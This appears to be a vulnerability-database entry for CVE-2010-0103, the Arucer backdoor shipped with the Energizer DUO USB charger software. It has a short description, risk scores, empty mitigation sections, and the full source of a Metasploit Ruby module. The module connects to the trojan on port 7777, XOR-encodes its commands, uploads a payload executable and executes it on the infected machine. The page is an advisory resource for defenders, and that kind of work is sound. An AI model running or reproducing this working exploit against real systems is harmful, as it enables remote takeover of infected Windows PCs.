CVE-2010-0103

critical
Published 2010-03-10 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

UsbCharger.dll in the Energizer DUO USB battery charger software contains a backdoor that is implemented through the Arucer.dll file in the %WINDIR%\system32 directory, which allows remote attackers to download arbitrary programs onto a Windows PC, and execute these programs, via a request to TCP port 7777.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16390 remote windows verified ruby ยท 3 KB
Metasploit ยท 2010-09-20

Arugizer Trojan Horse (Energizer DUO) - Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: energizer_duo_payload.rb 10389 2010-09-20 04:38:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Energizer DUO Trojan Code Execution',
			'Description'    => %q{
					This module will execute an arbitrary payload against
				any system infected with the Arugizer trojan horse. This
				backdoor was shipped with the software package accompanying
				the Energizer Duo USB battery charger.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10389 $',
			'References'     =>
				[
					['CVE', '2010-0103'],
					['OSVDB', '62782'],
					['US-CERT-VU', '154421']
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 05 2010'
			))


		register_options(
			[
				Opt::RPORT(7777),
			], self.class)
	end

	def trojan_encode(str)
		str.unpack("C*").map{|c| c ^ 0xE5}.pack("C*")
	end

	def trojan_command(cmd)
		cid = ""

		case cmd
		when :exec
			cid = "{8AF1C164-EBD6-4b2b-BC1F-64674E98A710}"
		when :dir
			cid = "{0174D2FC-7CB6-4a22-87C7-7BB72A32F19F}"
		when :write
			cid = "{98D958FC-D0A2-4f1c-B841-232AB357E7C8}"
		when :read
			cid = "{F6C43E1A-1551-4000-A483-C361969AEC41}"
		when :nop
			cid = "{783EACBF-EF8B-498e-A059-F0B5BD12641E}"
		when :find
			cid = "{EA7A2EB7-1E49-4d5f-B4D8-D6645B7440E3}"
		when :yes
			cid = "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"
		when :runonce
			cid = "{384EBE2C-F9EA-4f6b-94EF-C9D2DA58FD13}"
		when :delete
			cid = "{4F4F0D88-E715-4b1f-B311-61E530C2C8FC}"
		end

		trojan_encode(
			[cid.length + 1].pack("V") + cid  + "\x00"
		)
	end

	def exploit

		nam = "C:\\" + Rex::Text.rand_text_alphanumeric(12) + ".exe" + "\x00"
		exe = generate_payload_exe + "\x00"


		print_status("Trying to upload #{nam}...")
		connect

		# Write file request
		sock.put(trojan_command(:write))
		sock.put(trojan_encode([nam.length].pack("V")))
		sock.put(trojan_encode(nam))
		sock.put(trojan_encode([exe.length].pack("V")))
		sock.put(trojan_encode(exe))

		# Required to prevent the server from spinning a loop
		sock.put(trojan_command(:nop))

		disconnect

		#
		# Execute the payload
		#

		print_status("Trying to execute #{nam}...")

		connect

		# Execute file request
		sock.put(trojan_command(:exec))
		sock.put(trojan_encode([nam.length].pack("V")))
		sock.put(trojan_encode(nam))

		# Required to prevent the server from spinning a loop
		sock.put(trojan_command(:nop))

		disconnect
	end
end

Metasploit modules

Energizer DUO USB Battery Charger Arucer.dll Trojan Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.
Energizer DUO Trojan Scanner
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
energizerduo_usb

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.